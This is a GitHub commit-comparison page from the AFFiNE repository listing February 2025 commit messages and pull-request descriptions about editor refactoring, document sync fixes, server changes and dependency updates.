Compare commits

...

556 Commits

Author SHA1 Message Date
zzj3720
9bee2cb0fa fix(editor): improve string conversion logic for checkbox property
- Add a FALSE_VALUES set containing various falsy string representations

- Support Chinese negation terms like "否", "不", "错", etc.

- Optimize the implementation of cellFromString method
2025-02-26 00:11:36 +08:00
zzj3720
1addd17d64 fix(editor): table block supports parsing rich text 2025-02-25 18:52:13 +08:00
darkskygit
842c39c3be feat(native): doc loader for common native (#9941) 2025-02-25 07:50:56 +00:00
EYHN
26674b0cb8 fix(core): fallback when loading share page (#10428) 2025-02-25 07:35:58 +00:00
EYHN
cafff4e0eb fix(nbstore): reduce unnecessary sync (#10426) 2025-02-25 07:21:46 +00:00
fundon
abc3f9f23f chore(editor): bump @floating-ui/dom to 1.6.13 (#10425) 2025-02-25 07:06:27 +00:00
Brooooooklyn
5dbffba08d feat(native): media capture (#9992) 2025-02-25 06:51:56 +00:00
EYHN
2ec7de7e32 fix(core): add linked doc button (#10417) 2025-02-25 13:03:56 +08:00
liuyi
e5e5c0a8ba perf(core): only full sync before exporting (#10408) 2025-02-25 04:41:56 +00:00
EYHN
c644a46b8d fix(nbstore): local doc update lost (#10422) 2025-02-25 04:26:49 +00:00
Peng Xiao
7e892b3a7e fix(core): unused blobs query (#10399) 2025-02-25 10:58:43 +08:00
JimmFly
848145150d fix(core): close popover after successful invite in member editor (#10388) 2025-02-25 09:51:22 +08:00
JimmFly
dee6be11fb fix(core): reorder plan card action button conditions (#10387) 2025-02-25 09:51:10 +08:00
JimmFly
abda70d2c8 fix(core): fix permission checks for export workspace (#10401) 2025-02-25 09:50:43 +08:00
Saul-Mirone
40104f2f87 refactor(editor): remove unused any convension (#10410) 2025-02-24 15:57:49 +00:00
fundon
162b7adc1b fix(editor): should check text length and stop event propagation when adding a link (#10391) 2025-02-24 11:10:05 +00:00
Saul-Mirone
6289981fd1 refactor(editor): optimize extension register and effects (#10406)
Key Changes:

1. **Code Reorganization and Consolidation**
   - Created new centralized extension management through new files:
     - `enableEditorExtension` in `extensions/entry/enable-editor.ts`
     - `enablePreviewExtension` in `extensions/entry/enable-preview.ts`
   - Removed several spec-related files that are now consolidated:
     - Removed `specs/edgeless.ts`
     - Removed `specs/page.ts`
     - Removed `specs/preview.ts`

2. **Template Management**
   - Added new `register-templates.ts` file to handle template registration
   - Moved template registration logic from `specs/edgeless.ts` to this new file
   - Templates now include both edgeless and sticker templates

3. **Extension Management Changes**
   - Simplified extension enabling process through new centralized functions
   - `enableEditorExtension` now handles both page and edgeless modes
   - `enablePreviewExtension` consolidates preview-related extensions
   - Removed duplicate code for extension management

4. **Preview Functionality Updates**
   - Streamlined preview spec management
   - Consolidated footnote configuration
   - Improved theme and preview extension handling

5. **Dependencies and Effects**
   - Updated how effects are registered and managed
   - Simplified initialization process in `index.ts`
   - More organized approach to handling framework providers

The main theme of this PR appears to be code consolidation and simplification, moving from multiple specialized files to more centralized, reusable extension management. This should make the codebase more maintainable and reduce duplication while keeping the same functionality.

The changes primarily affect the editor's extension system, preview functionality, and template management, making these systems more modular and easier to maintain.
2025-02-24 10:37:59 +00:00
EYHN
0e581c915c feat(core): add resetSync button (#10404) 2025-02-24 10:22:34 +00:00
EYHN
59a791fe1f fix(nbstore): fix doc sync logic (#10400) 2025-02-24 10:22:34 +00:00
donteatfriedrice
378bb3795d refactor(editor): use doc title and id as snapshot file name (#10397)
[BS-2549](https://linear.app/affine-design/issue/BS-2549/snap-shot-导出建议使用文档名称作为文件名,而不是一个-id)
2025-02-24 09:32:32 +00:00
Saul-Mirone
60b994f38b refactor(editor): modular custom specs (#10398)
Key Changes:

1. **Removal of Scroll Anchoring Widget**
- Removed the scroll anchoring widget import and its related implementation from `blocksuite/affine/block-root/src/common-specs/widgets.ts`

2. **Enhanced React-Lit Integration**
- Added `ReactWebComponent` type export in `packages/frontend/component/src/lit-react/index.ts`
- Refactored text renderer component to use React integration:
  - Added React import and created `LitTextRenderer` component using `createReactComponentFromLit`
  - Moved the component declaration to a more appropriate location

3. **AI Feature Flag Integration**
- Added feature flag check for AI functionality in `enableAIExtension`
- Only enables AI extensions if the `enable_ai` flag is true

4. **Component Restructuring**
- Moved several components and utilities to dedicated extension files
- Consolidated Lit adapter implementations
- Removed direct widget imports in favor of extension-based approach
- Reorganized editor component structure for better maintainability

5. **File Reorganization**
- Removed `specs/custom/spec-patchers.ts` and distributed its functionality across multiple extension files
- Created new extension files for various features like:
  - Attachment embed views
  - Doc mode service
  - Doc URL handling
  - Edgeless clipboard
  - Mobile support
  - Note configuration
  - Various service patches (notification, peek view, quick search, etc.)

6. **Mobile Support Improvements**
- Refactored mobile extension enablement to be more modular
- Moved mobile-specific widget omissions into a dedicated extension

7. **Type System Improvements**
- Added more specific type imports for editors and components
- Enhanced type safety across the codebase

This PR appears to be a significant refactoring effort focused on:
1. Improving code organization through better separation of concerns
2. Enhancing the integration between React and Lit components
3. Adding feature flag support for AI capabilities
4. Making the codebase more maintainable and modular
5. Improving mobile support
6. Strengthening type safety

The changes suggest a move towards a more extension-based architecture, where functionality is more clearly separated into distinct modules rather than being centralized in larger files.
2025-02-24 08:30:01 +00:00
donteatfriedrice
1b2a4377fd feat(editor): update footnote node style and config (#10392)
[BS-2581](https://linear.app/affine-design/issue/BS-2581/优化-footnote-node-正文样式)
2025-02-24 08:15:04 +00:00
CatsJuice
8b4175c44d chore(core): update free pricing plan description (#10393) 2025-02-24 07:37:30 +00:00
EYHN
da7ab51e2d fix(core): remove unnecessary doc loading (#10395) 2025-02-24 07:22:05 +00:00
EYHN
a59e640423 fix(nbstore): leave awareness when destroy (#10394) 2025-02-24 07:22:04 +00:00
doouding
9bb74bce6b fix: drag bookmark from note to edgeless (#10389) 2025-02-24 06:13:05 +00:00
doouding
a0a97d0751 fix: drag connector and group element (#10385) 2025-02-24 06:13:05 +00:00
forehalo
b9e3fc54fd fix(server): include check of prerelease versions (#10386) 2025-02-24 04:44:44 +00:00
forehalo
b71fe291d1 fix(core): version control session (#10384) 2025-02-24 04:44:43 +00:00
forehalo
f02b57d58b fix(server): too much redundant updates events (#10383) 2025-02-24 04:44:43 +00:00
forehalo
2e0f0c624a chore: set base version to 0.20 (#10382) 2025-02-24 04:44:42 +00:00
Saul-Mirone
9435118ef1 refactor(editor): optimize ai code structure (#10381)
Let me analyze this diff and provide a clear description of the changes.

This PR introduces several significant changes focused on AI integration and code organization in the AFFiNE codebase:

1. **Enhanced SpecBuilder Functionality** (`blocksuite/affine/shared/src/utils/spec/spec-builder.ts`):
   - Added method chaining by returning `this` from `extend`, `omit`, and `replace` methods
   - Added new utility methods:
     - `hasAll(target: ExtensionType[])`: Checks if all specified extensions exist
     - `hasOneOf(target: ExtensionType[])`: Checks if at least one specified extension exists

2. **AI Extensions Modularization**:
   - Split the large AI-related code into separate modular files under `packages/frontend/core/src/blocksuite/ai/extensions/`:
     - `ai-code.ts`: Code block AI integration
     - `ai-edgeless-root.ts`: Edgeless mode AI features
     - `ai-image.ts`: Image block AI capabilities
     - `ai-page-root.ts`: Page root AI integration
     - `ai-paragraph.ts`: Paragraph block AI features
     - `enable-ai.ts`: Central AI extension enablement logic

3. **Widget Improvements**:
   - Enhanced `AffineAIPanelWidget` and `EdgelessCopilotWidget` with proper widget extensions
   - Moved widget-specific extensions into their respective files
   - Added proper type definitions and component registrations

4. **Code Organization**:
   - Simplified exports in `index.ts`
   - Better separation of concerns between different AI-related components
   - More modular approach to AI feature integration

5. **AI Integration Architecture**:
   - Introduced a new `enableAIExtension` function that handles:
     - Replacing standard blocks with AI-enhanced versions
     - Conditional enabling of AI features based on the current spec configuration
     - Extension of AI chat capabilities

The changes primarily focus on improving code organization, maintainability, and the architecture of AI feature integration in the AFFiNE editor. The modularization will make it easier to maintain and extend AI capabilities across different block types and editor modes.
2025-02-24 04:30:08 +00:00
doodlewind
67889d9364 fix(editor): turbo renderer stale frame lag on zooming (#10376)
Before:

https://github.com/user-attachments/assets/593e91a3-042e-4619-93a0-dca21fa942aa

After:

https://github.com/user-attachments/assets/779d7582-f7b2-4135-a97a-d1f65c7cb467

This is only a bug fix that ensures correct baseline rendering result. There'll be more optimizations specific for zooming TBD.
2025-02-24 03:49:04 +00:00
pengx17
5fe4b2b3e4 fix(core): remove tag page semicolon (#10379) 2025-02-24 03:14:06 +00:00
donteatfriedrice
2d41c2ff8d chore: bump theme (#10358) 2025-02-24 10:08:47 +08:00
Flrande
9fd1ca1c09 refactor(editor): remove inline editor keyboard utils and add markdown property in rich-text (#10375) 2025-02-23 19:57:56 +08:00
Saul-Mirone
eef2f004b8 refactor(editor): reorg blocksuite ai code (#10372)
### TL;DR

Relocated AI-related code from `presets` directory to a dedicated `ai` directory for better organization and maintainability.

### What changed?

- Moved AI-related code from `blocksuite/presets/ai` to `blocksuite/ai`
- Relocated AI chat block code from `blocksuite/blocks` to `blocksuite/ai/blocks`
- Updated imports across files to reflect new directory structure
- Renamed `registerBlocksuitePresetsCustomComponents` to `registerAIEffects`
- Fixed path references in GitHub workflow file

### How to test?

1. Build and run the application
2. Verify AI functionality works as expected:
   - Test AI chat blocks
   - Check AI panel functionality
   - Verify AI copilot features
   - Ensure AI-related UI components render correctly

### Why make this change?

This restructuring improves code organization by:
- Giving AI features a dedicated directory that better reflects their importance
- Making the codebase more maintainable by grouping related AI functionality
- Reducing confusion by removing AI code from the more general `presets` directory
- Creating clearer boundaries between AI and non-AI related code
2025-02-23 09:26:00 +00:00
doodlewind
542f759ffb refactor(editor): add panning/zooming field in viewport event (#10373) 2025-02-23 08:58:15 +00:00
doodlewind
22f9db63bc refactor(editor): invalidate support in turbo renderer (#10368)
refactor(editor): invalidate support in turbo renderer

- Added `invalidate()` method to clear cache and canvas
- Simplified debug pane controls to single invalidate button
- Replaced layout update with refresh debounce on block updates
- Improved cache handling and bitmap drawing flow

refactor: refresh after invalidate
2025-02-23 03:23:20 +00:00
Saul-Mirone
f8cabe8bb1 refactor: move ai-item components to frontend core (#10369)
### TL;DR

Relocated AI item components from BlockSuite to the frontend codebase and updated related imports.

### What changed?

- Moved AI item components from `blocksuite/affine/components/src/ai-item` to `packages/frontend/core/src/blocksuite/presets/ai/_common/components/ai-item`
- Updated all imports referencing the old AI item component location to point to the new location
- Removed AI item exports from BlockSuite's package.json and effects registration
- Added AI item effects registration to frontend presets

### How to test?

1. Verify AI functionality works as expected in:
   - Chat panels
   - AI toolbars
   - Edgeless copilot
   - Slash menu
2. Confirm no AI-related console errors appear
3. Test error handling scenarios (unauthorized, payment required, network errors)

### Why make this change?

This change consolidates AI-related components into the frontend codebase where they are primarily used, rather than keeping them in BlockSuite. This improves code organization by placing components closer to their implementation and usage, while reducing unnecessary coupling between packages.
2025-02-22 17:03:07 +00:00
Saul-Mirone
3ff6176306 refactor(editor): extract ai widgets and tool (#10367)
### TL;DR
Moved AI-related components from BlockSuite core to the frontend presets directory to better organize AI functionality.

### What changed?
- Relocated AI panel, copilot tool, and related components from BlockSuite core to frontend presets
- Moved AI widget definitions and registrations to the presets directory
- Updated imports to reference new component locations
- Removed AI component registrations from core effects.ts
- Added AI component registrations to presets effects.ts

### How to test?
1. Verify AI panel functionality works as expected in the editor
2. Test copilot tool interactions in edgeless mode
3. Confirm AI suggestions and responses still appear correctly
4. Check that AI toolbar buttons and menus function properly
5. Ensure AI error states and loading indicators display correctly

### Why make this change?
This restructuring improves code organization by moving AI-specific functionality out of the core BlockSuite library and into the frontend presets where it more logically belongs. This separation of concerns makes the codebase more maintainable and allows for better modularity of AI features.
2025-02-22 13:58:40 +00:00
Yifeng Wang
963cc2e40e refactor(editor): reduce redundant canvas refresh on init (#10364) 2025-02-22 21:58:13 +08:00
Saul-Mirone
04ed2bdab7 refactor(editor): remove edgeless service in ai widgets (#10361) 2025-02-22 08:55:44 +00:00
renovate
77d31ea25a chore: bump up eslint-plugin-unicorn version to v57 (#10234)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [eslint-plugin-unicorn](https://redirect.github.com/sindresorhus/eslint-plugin-unicorn) | [`^56.0.1` -> `^57.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-unicorn/56.0.1/57.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-unicorn/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-unicorn/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-unicorn/56.0.1/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-unicorn/56.0.1/57.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>sindresorhus/eslint-plugin-unicorn (eslint-plugin-unicorn)</summary>

### [`v57.0.0`](https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/compare/v56.0.1...v57.0.0)

[Compare Source](https://redirect.github.com/sindresorhus/eslint-plugin-unicorn/compare/v56.0.1...v57.0.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjcuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2Ny4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-22 05:48:13 +00:00
Saul-Mirone
7945e1ed9f refactor: organize component registration by category (#10360)
### TL;DR
Reorganized component registration in the effects module by grouping related components into separate functions.

### What changed?
- Split the monolithic component registration into logical categories:
  - Root components (page, preview, edgeless)
  - Widgets (panels, toolbars, modals)
  - Edgeless toolbar components (tools, menus, buttons)
  - Edgeless panel components (alignment, color, style)
  - Edgeless editor components (text editors, label editors)
  - AI components (panels, placeholders)
  - Misc components (modals, loading, previews)
- Added descriptive comments for each component group
- Maintained all existing component registrations while improving code organization

### How to test?
1. Launch the application
2. Verify all components render correctly:
   - Check page/preview/edgeless views
   - Test toolbar functionality
   - Verify panels and modals work
   - Ensure AI features function properly
   - Validate edgeless editor capabilities

### Why make this change?
Improves code maintainability and readability by:
- Grouping related components together
- Making it easier to find and modify specific component registrations
- Providing better structure for future component additions
- Reducing cognitive load when working with component registrations
2025-02-21 15:50:56 +00:00
donteatfriedrice
734ca154ae refactor(core): use image preview component in chat (#10357)
[BS-2421](https://linear.app/affine-design/issue/BS-2421/chat-block-and-chat-panel-input-render-images-时存在内存泄露风险)
2025-02-21 15:36:55 +00:00
Saul-Mirone
2cf9a8f286 refactor: reorganize specs and adapter extensions (#10359)
### TL;DR
Refactored `SpecProvider` singleton access pattern and reorganized adapter/extension code structure.

### What changed?
- Changed `SpecProvider.getInstance()` to `SpecProvider._` for cleaner singleton access
- Moved adapter/extension code from `_common` directory to dedicated `adapters` and `extensions` folders
- Consolidated adapter extensions into a single file
- Removed unused dependencies from package.json
- Deleted unnecessary schema files
- Extracted `MobileSpecsPatches` class into the mobile patching code
- Updated all references to use the new `SpecProvider._` accessor

### How to test?
- Verify all specs are properly registered and accessible via `SpecProvider._`
- Test adapter functionality for HTML, Markdown, Notion HTML and plain text
- Check mobile-specific features and patches work correctly
- Ensure preview functionality works in both page and edgeless modes

### Why make this change?
- Improves code organization by properly separating adapters and extensions
- Simplifies singleton access pattern
- Removes unnecessary dependencies and files
- Makes the codebase more maintainable by consolidating related functionality
2025-02-21 14:25:35 +00:00
L-Sun
72b751943c fix(editor): using click event instead of pointerDown event for page block (#10351)
Close [BS-2647](https://linear.app/affine-design/issue/BS-2647/ios返回手势会误触发focus导致弹起键盘)

### What Changes:
- Using `click` event instead of `pointerDown` event to handle selection logic in page block, because gestures on mobile devices can trigger the `pointerDown` event, causing the cursor to update and unexpectedly bring up the virtual keyboard.
2025-02-21 13:19:51 +00:00
akumatus
07cbf5affe fix(core): slash ask ai returns make it real action result (#10349)
Fix issue [AF-2252](https://linear.app/affine-design/issue/AF-2252).

## What Changed?
- Remove useless `generateAnswer` configuration for inline ask ai
- Refactor the common `updateAIPanelConfig` function
- Use empty string instead of meaningless `placeholder` string
- Remove unnecessary high-order function wrappers
2025-02-21 12:52:53 +00:00
Saul-Mirone
55651503df refactor(editor): extract root block (#10356)
Closes: [BS-2207](https://linear.app/affine-design/issue/BS-2207/move-root-block-to-affineblock-root)
2025-02-21 12:38:26 +00:00
EYHN
4a66ec7400 fix(nbstore): fix doc clock check logic (#10355) 2025-02-21 11:10:16 +00:00
liuyi
7d68aa5b2f chore(server): ignore erorr when join joint room (#10354) 2025-02-21 10:48:53 +00:00
CatsJuice
64370980b3 fix(core): ensure the divider between cloud and local is displayed correctly (#10352) 2025-02-21 10:27:53 +00:00
pengx17
6e399ce34b fix(core): unused blobs query (#10350)
The default limit is 100.
2025-02-21 10:14:00 +00:00
zzj3720
4d759766b9 fix(editor): adjust the style of the table block (#10348) 2025-02-21 09:32:01 +00:00
Peng Xiao
83669f8fbb fix(core): settings storage empty styles (#10313) 2025-02-21 17:19:53 +08:00
DarkSky
24fa58df52 fix: quota switch (#10347) 2025-02-21 17:18:30 +08:00
Peng Xiao
dff68b9aae fix(core): blocksuite editor runtime configs in correct timing (#10344) 2025-02-21 17:16:53 +08:00
Cats Juice
09cc5c392b refactor(core): new workspace selector and create dialog (#10323) 2025-02-21 17:16:38 +08:00
Saul-Mirone
22e4bd8c20 refactor: move image proxy middleware and adapter extensions (#10345)
### TL;DR
Moved image proxy middleware and adapter extensions to their respective packages and introduced a new spec provider for adapter registration.

### What changed?
- Relocated `defaultImageProxyMiddleware` from blocks to `@blocksuite/affine-block-image`
- Moved `PresentTool` from fragment-frame-panel to block-frame
- Created new adapter extension specs for HTML, Markdown, and Notion HTML
- Introduced a spec provider pattern for adapter registration
- Removed direct transformer references from RootService
- Updated imports across affected files to use new locations

### How to test?
1. Verify image proxy functionality works in exports and imports
2. Test HTML, Markdown, and Notion HTML adapters still function correctly
3. Confirm presentation mode works with the relocated PresentTool
4. Check that all file import/export operations continue to work as expected

### Why make this change?
This reorganization improves code modularity by placing features in their logical packages and introduces a more maintainable pattern for adapter registration. The spec provider pattern makes it easier to manage and extend adapter functionality while reducing coupling between components.
2025-02-21 09:01:57 +00:00
darkskygit
296d88f721 fix: ignore unknown charset (#10346) 2025-02-21 08:36:27 +00:00
EYHN
244d683d83 fix(nbstore): adjust doc sync logic (#10342) 2025-02-21 08:17:07 +00:00
Saul-Mirone
f3218ab3bc refactor(editor): rename presets to integration test (#10340) 2025-02-21 06:26:03 +00:00
L-Sun
f79324b6a1 chore(editor): update shadow of ask-ai-panel (#10336)
Close [PD-2343](https://linear.app/affine-design/issue/PD-2343/[ui]-ai-面板-shadow-改为-overlaypanelshadow)
2025-02-21 06:12:05 +00:00
Saul-Mirone
adcc6b578c refactor(editor): move editor components to frontend core (#10335)
### TL;DR
Moved editor components from BlockSuite presets to AFFiNE core and updated imports accordingly.

### What changed?
- Relocated `EdgelessEditor` and `PageEditor` components from BlockSuite presets to AFFiNE core
- Removed basic editor examples from playground
- Updated import paths across the codebase to reference new component locations
- Added editor effects registration in AFFiNE core
- Removed editor exports from BlockSuite presets

### How to test?
1. Launch the application
2. Verify both page and edgeless editors load correctly
3. Confirm editor functionality remains intact including:
   - Document editing
   - Mode switching
   - Editor toolbars and controls
   - Multiple editor instances

### Why make this change?
This change better aligns with AFFiNE's architecture by moving editor components closer to where they are used. It reduces coupling with BlockSuite presets and gives AFFiNE more direct control over editor customization and implementation.
2025-02-21 04:28:54 +00:00
fengmk2
7f833f8c15 fix(server): don't sync blob meta on workspace deleted event (#10334)
close CLOUD-128
2025-02-21 04:11:57 +00:00
JimmFly
785951bbfa fix(core): adjust copy link button styles (#10337)
close PD-2344
![CleanShot 2025-02-21 at 11 22 32@2x](https://github.com/user-attachments/assets/97d1052b-c900-47df-89ba-476787a28587)
![CleanShot 2025-02-21 at 11 22 08@2x](https://github.com/user-attachments/assets/2b455797-dfc8-4572-95ac-3ee8b33b0528)
2025-02-21 03:58:03 +00:00
fundon
19e9f970f4 fix(editor): block selected style in note under edgeless (#10326)
Related to: https://github.com/toeverything/AFFiNE/pull/9849

Currently missing selected style in note under edgeless.
<img width="860" alt="Screenshot 2025-02-20 at 20 51 12" src="https://github.com/user-attachments/assets/77d68cfb-13d0-4e09-a567-f2a30ba72db1" />
2025-02-21 03:43:54 +00:00
doodlewind
c362737441 perf(editor): reduce dom ops in viewport update (#10333) 2025-02-21 03:30:10 +00:00
EYHN
618042812b fix(nbstore): fix cloud awareness (#10320) 2025-02-21 11:11:10 +08:00
fengmk2
0ff7c5f897 fix(server): gen new request id on websocket event request (#10330)
After

![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/22431b9a-30e8-48a3-8db6-de377671f9b7.png)
2025-02-21 02:00:58 +00:00
Saul-Mirone
b8dcb85007 refactor: move outline fragment to separate package (#10331)
### TL;DR

Moved outline functionality into a dedicated fragment package and updated vanilla-extract CSS dependency.

### What changed?

- Created new `@blocksuite/affine-fragment-outline` package
- Relocated outline-related code from presets to the new fragment package
- Updated imports across affected files to reference the new package location
- Upgraded `@vanilla-extract/css` dependency from 1.14.0/1.16.1 to 1.17.0
- Added necessary package configuration and TypeScript setup for the new fragment

### How to test?

1. Verify outline functionality works as expected in both desktop and mobile views
2. Check that outline panel, viewer, and mobile menu components render correctly
3. Ensure outline navigation and interactions continue to work
4. Confirm no regressions in outline-related features

### Why make this change?

This change improves code organization by isolating outline functionality into a dedicated package, following the modular architecture pattern. This makes the codebase more maintainable and allows for better separation of concerns. The vanilla-extract CSS upgrade ensures consistency across packages and provides access to the latest features and fixes.
2025-02-20 15:59:13 +00:00
Saul-Mirone
5ac15f12e6 refactor: replace editor container with editor host (#10328)
### TL;DR
Refactored editor access to use `EditorHost` instead of `AffineEditorContainer` and updated mode access through `DocModeProvider`.

### What changed?
- Changed editor property types from `AffineEditorContainer` to `EditorHost` across multiple components
- Updated mode access to use `DocModeProvider` service instead of direct editor mode access
- Modified editor references to use `editor.host` where appropriate
- Updated scroll and highlight utilities to work with `EditorHost`

### How to test?
1. Open a document in both page and edgeless modes
2. Verify outline panel functionality works as expected
3. Test outline viewer navigation and highlighting
4. Confirm mobile outline menu operates correctly
5. Check that frame panel and TOC features work in all modes

### Why make this change?
This change improves architectural consistency by using `EditorHost` directly and accessing mode through the proper service provider. This makes the code more maintainable and follows better dependency practices by using the correct abstraction levels.
2025-02-20 14:20:32 +00:00
akumatus
efe36161e8 fix(core): remove candidate doc chip suggestions (#10327)
Fix issue [AF-2247](https://linear.app/affine-design/issue/AF-2247).
2025-02-20 14:01:00 +00:00
akumatus
126677d7ad fix(core): no pop-ups if user click discard menu item (#10317)
Fix issue [BS-2628](https://linear.app/affine-design/issue/BS-2628).
2025-02-20 13:29:28 +00:00
Saul-Mirone
007bbabce4 refactor: move frame manager and panel to separate packages (#10324)
### TL;DR
Moved frame management functionality from `blocksuite/blocks` to `@blocksuite/affine-block-frame` package.

### What changed?
- Relocated `frame-manager.ts` from `blocksuite/blocks` to `@blocksuite/affine-block-frame`
- Added new dependencies to block-frame package: `@blocksuite/affine-block-surface` and `yjs`
- Updated imports across multiple components to reference frame manager from its new location
- Moved utility functions `areSetsEqual` and `isFrameBlock` into frame-manager file
- Replaced direct EdgelessRootService references with GfxController in frame panel components

### How to test?
1. Verify frame functionality works in edgeless mode
2. Test frame creation, selection, and manipulation
3. Confirm frame navigation and presentation modes operate correctly
4. Check that frame panel and toolbar interactions remain functional

### Why make this change?
This refactoring improves code organization by consolidating frame-related functionality into a dedicated package, making the codebase more modular and easier to maintain. It also reduces dependencies between packages and provides clearer boundaries for frame-related features.
2025-02-20 13:06:40 +00:00
doodlewind
64cc99354e refactor(editor): add zoom threshold for dom rendering fallback (#10322) 2025-02-20 11:45:19 +00:00
Saul-Mirone
1516903c77 refactor: move doc-title and ai-chat-block components (#10316)
### TL;DR
Moved doc title and AI chat block components to more appropriate locations while removing unused backlink functionality.

### What changed?
- Relocated doc title component from presets to affine-components
- Moved AI chat block from presets/blocks to blocks directory
- Removed unused backlink-related code and components
- Updated imports across files to reference new component locations
- Consolidated AI-related exports through a single entry point

### How to test?
1. Verify doc title still renders correctly in documents
2. Confirm AI chat functionality works as expected
3. Check that no backlink-related features are accessible
4. Ensure all AI features continue to work through the new import paths

### Why make this change?
This reorganization improves code organization by:
- Placing components closer to their related functionality
- Removing dead/unused code around backlinks
- Simplifying the import structure for AI-related features
- Making the codebase more maintainable by consolidating related components
2025-02-20 10:45:47 +00:00
EYHN
4f831732e1 fix(core): fix throw if aborted polyfill (#10321) 2025-02-20 10:32:02 +00:00
zzj3720
ef28e36441 fix(editor): data in the database will be completely overwritten in some cases (#10318) 2025-02-20 10:17:57 +00:00
doodlewind
7b1dfb7ee8 refactor(editor): reduce dom query per refresh (#10319) 2025-02-20 10:01:13 +00:00
Hwang
5fcc402280 style: update ios dark icon (#10312) 2025-02-20 08:01:32 +00:00
DarkSky
fa86f71853 feat(server): client version check (#9205)
Co-authored-by: forehalo <forehalo@gmail.com>
2025-02-20 15:50:22 +08:00
L-Sun
4fee2a9c4b chore(editor): update some widget styles (#10311) 2025-02-20 15:39:48 +08:00
fengmk2
b4097aef8e refactor(server): move bin content parser to doc reader (#10302) 2025-02-20 07:19:48 +00:00
Saul-Mirone
9f4311f654 refactor(editor): remove AbstractEditor type and feature flags in test (#10308) 2025-02-20 07:05:35 +00:00
darkskygit
13f1859cdf feat: allow retry with new message (#10307)
fix AF-1630
2025-02-20 06:07:53 +00:00
Flrande
50820482df fix(editor): auto focus after add inline latex (#10309)
https://github.com/user-attachments/assets/09e713ee-e600-464c-8614-d874d343cfb0

Close #10208
2025-02-20 05:52:06 +00:00
forehalo
ec67d30b27 chore(server): race condition during fixing doc owner (#10303) 2025-02-20 05:34:55 +00:00
forehalo
fd5897dbe6 chore(server): disable nightly subscriptions expirasion check (#10298) 2025-02-20 05:34:54 +00:00
liuyi
d490e767eb fix(server): wrong previous subscription check (#10306) 2025-02-20 13:33:49 +08:00
fundon
adc003862b fix(editor): image size and xywh when converting attachment to image (#10200)
In Edgeless, the image size should be read when converting attachment to image:

* fix `size`
* fix `xywh`
2025-02-20 05:16:21 +00:00
fengmk2
ff0ce1a962 fix(server): remove job on complete (#10305) 2025-02-20 04:39:05 +00:00
EYHN
5042d9f644 fix(nbstore): check before save empty update (#10304) 2025-02-20 04:24:50 +00:00
JimmFly
1d339c682b fix(core): adjust share menu and upgrade-to-team page style (#10299)
close PD-2330 PD-2331 AF-2238
2025-02-20 04:10:52 +00:00
doodlewind
b38abcb59c perf(editor): avoid recreation of Intl.Segmenter (#10295)
<img width="537" alt="image" src="https://github.com/user-attachments/assets/43e54d94-6228-4c26-b3d0-cf4725b251e4" />
2025-02-20 03:55:57 +00:00
Saul-Mirone
c3fc0a0d88 chore(editor): fix imports in legacy tests (#10300) 2025-02-20 03:30:05 +00:00
fengmk2
e0b2b2b33c fix(server): convert error type to lower case (#10301) 2025-02-20 03:04:21 +00:00
zzj3720
ba91b36cc3 feat(editor): add block creation tracking (#10294)
fix: PD-2090
2025-02-20 02:25:29 +00:00
github-actions[bot]
a0e3f9909c chore(i18n): sync translations (#10184)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2025-02-20 02:25:19 +00:00
EYHN
8f6ce2c3b4 fix(nbstore): fix doc clock comparison (#10296) 2025-02-20 10:10:17 +08:00
zzj3720
d8435421d2 fix(editor): improve table selection in edgeless mode (#10293)
fix: BS-2614, BS-2560
2025-02-20 01:50:40 +00:00
doodlewind
676ccc9094 refactor(editor): allow force refresh in worker renderer (#10289) 2025-02-19 14:23:45 +00:00
Saul-Mirone
091ba7bb51 chore: remove createEmptyEditor legacy test misc (#10291) 2025-02-19 21:38:00 +08:00
donteatfriedrice
2b11941c0e chore: bump theme (#10290) 2025-02-19 11:37:19 +00:00
forehalo
02f567f2c0 chore(core): better doc action error message (#10288) 2025-02-19 10:38:38 +00:00
donteatfriedrice
54b7515167 fix(editor): log when export blob failed (#10287) 2025-02-19 10:06:50 +00:00
CatsJuice
e726df9a1b fix(core): prevent all-docs header from overlapping scrollbar (#10270) 2025-02-19 09:24:49 +00:00
CatsJuice
926b35c91f chore(core): temporarily hide editor starter-bar on mobile (#10237) 2025-02-19 09:10:26 +00:00
JimmFly
b456feee63 fix(core): unexpected redirect to expired page after accepting invitation (#10257)
Co-authored-by: EYHN <cneyhn@gmail.com>
2025-02-19 09:10:12 +00:00
JimmFly
487158b9ca fix(core): incorrect permissions displayed in member management (#10269) 2025-02-19 16:58:06 +08:00
EYHN
5b768d9091 fix(nbstore): close full blob sync for iOS (#10286) 2025-02-19 16:57:32 +08:00
Saul-Mirone
90b0982dd3 fix(editor): hide edgeless only note in synced doc block (#10277)
